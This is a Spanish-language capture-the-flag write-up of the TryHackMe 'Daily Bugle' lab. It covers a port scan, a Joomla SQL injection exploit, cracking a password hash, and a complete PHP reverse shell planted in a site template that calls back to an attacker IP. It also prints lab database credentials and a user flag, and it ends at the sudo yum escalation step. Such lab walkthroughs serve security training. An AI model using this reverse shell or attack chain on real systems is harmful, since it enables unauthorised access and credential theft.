Daily Bugle
Enumeramos servicios:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
| 256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_ 256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
3306/tcp open mysql MariaDB (unauthorized)
Buscamos directorios:
dirsearch -u http://10.10.136.55/


Nos entrego la version y buscamos un exploit para ello:
Cuando realizamos una investigación rápida, vemos que existe una vulnerabilidad conocida llamada “Joomla! 3.7.0 — 'com_fields' SQL Injection” que podemos usar para explotar con el número CVE “CVE-2017–8917”. Aquí, para que nuestro proceso sea mucho más fácil y rápido, revisé los exploits escritos para esta vulnerabilidad en Github y encontré el repositorio Exploit-Joomla de stefanlucas que incluye un archivo de Python para explotar la vulnerabilidad. Lo descargué y ejecuté el exploit con los parámetros correctos para obtener información crítica de la base de datos del servidor.

¡Y obtuvimos la tabla “fb9j5_users” y eliminamos un usuario de la tabla!
Aquí tenemos algunas credenciales importantes: un nombre de usuario, un correo electrónico y un valor hash para la contraseña.
Inserté el valor hash en un archivo llamado hash y usé a John the Ripper para descifrarlo comparándolo con los valores de una lista de palabras.
Usé rockyou.txt para una búsqueda más amplia para aumentar mi tasa de éxito.

Y ahí vamos, la contraseña de spiderman123 para el usuario Jonah.

Ingresamos a templetes un codigo php malicioso para poder ingresar:
<?php
// Eliminar límites de tiempo
set_time_limit(0);
$VERSION = "1.0";
// Cambia la IP y el puerto a los valores adecuados
$ip = '10.9.0.60'; // Dirección IP del atacante
$port = 443; // Puerto que escuchará el atacante
// Tamaño del chunk para leer datos
$chunk_size = 1400;
// Inicialización
$write_a = null;
$error_a = null;
// Comando inicial
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
// Crea un socket
if (($sock = fsockopen($ip, $port)) !== false) {
stream_set_blocking($sock, false);
fwrite($sock, "Conexión establecida.\n");
// Lanza un proceso interactivo
$process = proc_open($shell, [
0 => $sock, // STDIN
1 => $sock, // STDOUT
2 => $sock // STDERR
], $pipes);
while (1) {
if (feof($sock)) {
break;
}
usleep(100000); // Reducir uso de CPU
}
proc_close($process);
fclose($sock);
}
?>
Ingresamos a la ruta y con nc a la escucha
uid=48(apache) gid=48(apache) groups=48(apache)
sh-4.2$ whoami
whoami
apache
sh-4.2$
Podemos ejecutar limpeas
En linpeas se encontro;
sh-4.2$ cat /var/www/html/configuration.php
cat /var/www/html/configuration.php
<?php
class JConfig {
public $offline = '0';
public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
public $display_offline_message = '1';
public $offline_image = '';
public $sitename = 'The Daily Bugle';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = '20';
public $access = '1';
public $debug = '0';
public $debug_lang = '0';
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'root';
public $password = 'nv5uz9r3ZEDzVjNu';
public $db = 'joomla';
public $dbprefix = 'fb9j5_';
public $live_site = '';
public $secret = 'UAMBRWzHO3oFPmVC';
public $gzip = '0';
public $error_reporting = 'default';
public $helpurl = 'https://help.joomla.org/proxy/index.php?keyref=Help{major}{minor}:{keyref}';
public $ftp_host = '127.0.0.1';
public $ftp_port = '21';
public $ftp_user = '';
public $ftp_pass = '';
public $ftp_root = '';
public $ftp_enable = '0';
public $offset = 'UTC';
public $mailonline = '1';
public $mailer = 'mail';
public $mailfrom = 'jonah@tryhackme.com';
public $fromname = 'The Daily Bugle';
public $sendmail = '/usr/sbin/sendmail';
public $smtpauth = '0';
public $smtpuser = '';
public $smtppass = '';
public $smtphost = 'localhost';
public $smtpsecure = 'none';
public $smtpport = '25';
public $caching = '0';
public $cache_handler = 'file';
public $cachetime = '15';
public $cache_platformprefix = '0';
public $MetaDesc = 'New York City tabloid newspaper';
public $MetaKeys = '';
public $MetaTitle = '1';
public $MetaAuthor = '1';
public $MetaVersion = '0';
public $robots = '';
public $sef = '1';
public $sef_rewrite = '0';
public $sef_suffix = '0';
public $unicodeslugs = '0';
public $feed_limit = '10';
public $feed_email = 'none';
public $log_path = '/var/www/html/administrator/logs';
public $tmp_path = '/var/www/html/tmp';
public $lifetime = '15';
public $session_handler = 'database';
public $shared_session = '0';
}sh-4.2$
Después de una verificación rápida del sistema y de observar los archivos del sitio web, encontramos un archivo de configuración que tenía las credenciales de una base de datos. El usuario root tenía la contraseña: nv5uz9r3ZEDzVjNu.
Obtener acceso de usuario
Podemos usar esta contraseña para iniciar sesión en la máquina a través de SSH o desde la propia consola cambiar del usuario apache a jjameson.
┌──(docker㉿docker)-[~/Tryhackme/Exploit-Joomla]
└─$ ssh jjameson@10.10.136.55
The authenticity of host '10.10.136.55 (10.10.136.55)' can't be established.
ED25519 key fingerprint is SHA256:Gvd5jH4bP7HwPyB+lGcqZ+NhGxa7MKX4wXeWBvcBbBY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.136.55' (ED25519) to the list of known hosts.
jjameson@10.10.136.55's password:
Last login: Mon Dec 16 05:14:55 2019 from netwars
[jjameson@dailybugle ~]$ l
-bash: l: command not found
[jjameson@dailybugle ~]$ ls
user.txt
[jjameson@dailybugle ~]$ cat user.txt
27a260fe3cba712cfdedb1c86d80442e
Una vez adentro tendremos que escalar privilegios;
sudo -l
[jjameson@dailybugle ~]$ sudo -l
Matching Defaults entries for jjameson on dailybugle:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset,
env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR
USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME
LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User jjameson may run the following commands on dailybugle:
(ALL) NOPASSWD: /usr/bin/yum
Se puede ver un yum
Last updated